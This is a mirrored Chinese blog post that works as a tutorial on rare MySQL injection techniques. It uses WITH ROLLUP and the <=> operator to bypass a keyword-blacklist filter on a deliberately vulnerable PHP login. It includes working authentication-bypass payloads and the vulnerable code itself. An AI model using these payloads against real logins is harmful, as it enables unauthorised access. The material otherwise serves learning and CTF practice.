4

MySQL偏门注入

 3 years ago
source link: https://blog.spoock.com/2020/10/08/mysqli-rare/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

工作之后,目前工作内容就是写代码和研究Linux内核相关的知识,已经很少研究有关SQL注入等相关知识了。这篇文章是最近在整理自己电脑文件时发现的。与其藏在角落里,还不如和大家一起分享下。由于时间过于久远,也无法确认是不是已经有人已经分享过了。

rollup

mysql中的group by后面可以接with rollup修饰语,使用with rollup修饰语可以在group by结果后面增加一行(该行内容中的group by的列返回NULL,其他列返回相应的内容)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 没有rollup
mysql> select Host,User from user group by host;
+-----------+------------+
| Host | User |
+-----------+------------+
| % | wackopicko |
| 127.0.0.1 | root |
| ::1 | root |
| localhost | root |
+-----------+------------+
4 rows in set (0.00 sec)

# 有rollup
mysql> select Host,User from user group by host with rollup ;
+-----------+------------+
| Host | User |
+-----------+------------+
| % | wackopicko |
| 127.0.0.1 | root |
| ::1 | root |
| localhost | root |
| NULL | root |
+-----------+------------+
5 rows in set (0.00 sec)

可以看到使用with rollup之后,返回结果中会多一行,且Host字段为NULL。

以一个稍微复杂一点的例子来说明with rollup的用法。
创建数据库

1
2
3
4
5
CREATE TABLE `t` (
`id` int(11) DEFAULT NULL,
`id2` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into t value(11,11),(12,12),(13,13);

使用rollup查询

1
2
3
4
5
6
7
8
9
10
mysql> select id,sum(id2),avg(id2) from t group by id with rollup;
+------+----------+----------+
| id | sum(id2) | avg(id2) |
+------+----------+----------+
| 11 | 11 | 11.0000 |
| 12 | 12 | 12.0000 |
| 13 | 13 | 13.0000 |
| NULL | 36 | 12.0000 |
+------+----------+----------+
4 rows in set (0.00 sec)

可以发现对于group by的列(在本例中为id),返回为NULL,对于其他列则是进行正常的操作(在本例中为sum和avg操作)。

rollup绕过检测

存在users表,其中仅仅只存在一条记录。

1
2
3
4
5
6
7
8
9
-- auto-generated definition
CREATE TABLE users
(
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(255) NULL,
password VARCHAR(255) NULL,
CONSTRAINT users_id_uindex
UNIQUE (id)
);

需要绕过的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function AttackFilter($StrKey,$StrValue,$arrReq) {
if(is_array($StrValue)) {
$StrValue = implode($StrValue);
}
if(preg_match("/".$arrReq."/is",$StrValue) == 1) {
print "the attack is detected";
exit();
}
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp";

foreach ($_POST as $key=>$value) {
AttackFilter($key,$value,$filter);
}


$username = @$_POST['username'];
$password = @$_POST['password'];
$query = "select * from users WHERE username='{$username}'";
$query = mysqli_query($conn,$query);

if(mysqli_num_rows($query) == 1) {
$result = mysqli_fetch_array($query);
if($result['password'] == $password) {
die('right');
}
}

这道题目与常规的md5的登录注入类似,但是无法使用union子句,此时就可以使用rollup子句。

1
select * from users where username=''or 1 group by username with rollup

会产生一条password为NULL的记录,使用limit取出这条语句,然后传入空的password,最后就会NULL==NULL而绕过验证。

如果不知道用户名,可以使用username=' or 1=1。但是在本例中过滤了or,那么可以使用username='=0(利用’’=0的特性)。

POC为:

1
POST:username='=0 group by password with rollup limit 1 offset 1#&password=

<=>

同样是上面的那道题目,在POC中使用了limit。如果limit无法使用也被过滤了,则该如何绕过呢?

那么需要看一下SELECT的语法了。`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

GROUP BY后面可以接HAVING子句,如果需要HAVING子句生效,则需要后面的where_condition为True。如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null。当 null <=> null 的时候会返回1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select null=null;
+-----------+
| null=null |
+-----------+
| NULL |
+-----------+
1 row in set (0.00 sec)

mysql> select null<=>null;
+-------------+
| null<=>null |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)

所以最终的POC为:

1
username='=0 group by password with rollup having password <=>null %23&password=

MySQL group by with rollup

MySQL注入的一些偏门技巧


Recommend

  • 4
    • www.wooyun.org 6 years ago
    • Cache

    MySql注入科普 | WooYun知识库

    MySql注入科普 瞌睡龙 ·...

  • 10

    Mysql报错注入原理分析(count()、rand()、group by) T-Safe...

  • 12
    • www.wooyun.org 6 years ago
    • Cache

    MySQL注入技巧 | WooYun知识库

    MySQL注入技巧 Utopia ·...

  • 20

    新浪科技讯北京时间6月27日早间消息,据美国科技媒体Motherboard报道,一名程序员最近开发出一款名叫DeepNude的应用,只要给DeepNude一张女性照片,借助神经网络技术,App可以自动“脱掉”女性身上的衣服,显示出裸体。目前

  • 26

  • 0
    • y4er.com 2 years ago
    • Cache

    MySQL 注入学习

    3 min readMySQL 注入学习2019-04-30系统学习MySQL注入,记下笔记。字符串相关函数用法left(a,b)从左侧截取a的前b位substr(a,b,c)从b位置开始,截取字符串a的c长度mid(a,b,c)同substrascii()将某个字符转换为ascii值ord()同ascii函数...

  • 6
    • blogread.cn 2 years ago
    • Cache

    MySQL防范SQL注入风险

       在MySQL里,如何识别并且避免发生SQL注入风险1、关于SQL注入    互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低、成本低、收益大,颇受各层次的黑客们所青睐。    一...

  • 0
    • 3wapp.github.io 2 years ago
    • Cache

    Mysql宽字节注入

    1. mysql 宽字节注入 只要低位的范围中含有0x5c的编码,就可以进行宽字符注入 2. 绕过addslasher和mysql_real_escape_string(Trick) 在MYSQL5.5.37-log下该Trick已经被修复了 demo as follow:...

  • 2
    • blue-bird1.github.io 2 years ago
    • Cache

    Mysql 储存过程注入

    May 7, 2019Mysql 储存过程注入Mysql 储存过程注入mysql有着储存过程这个功能, 这次作者刚好遇到注入点在调用储存过程的sql注入.mysql可以通过以下语句创建一个储存过程

  • 3

    记录 Pwn 题中的各种骚操作 泄露程序基址修改 _dl_rtld_libname通过调试可以看出这是一个结构体,存在于 ld.so 文件里 pwndbg> p _dl_rtld_libname$10 = {...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK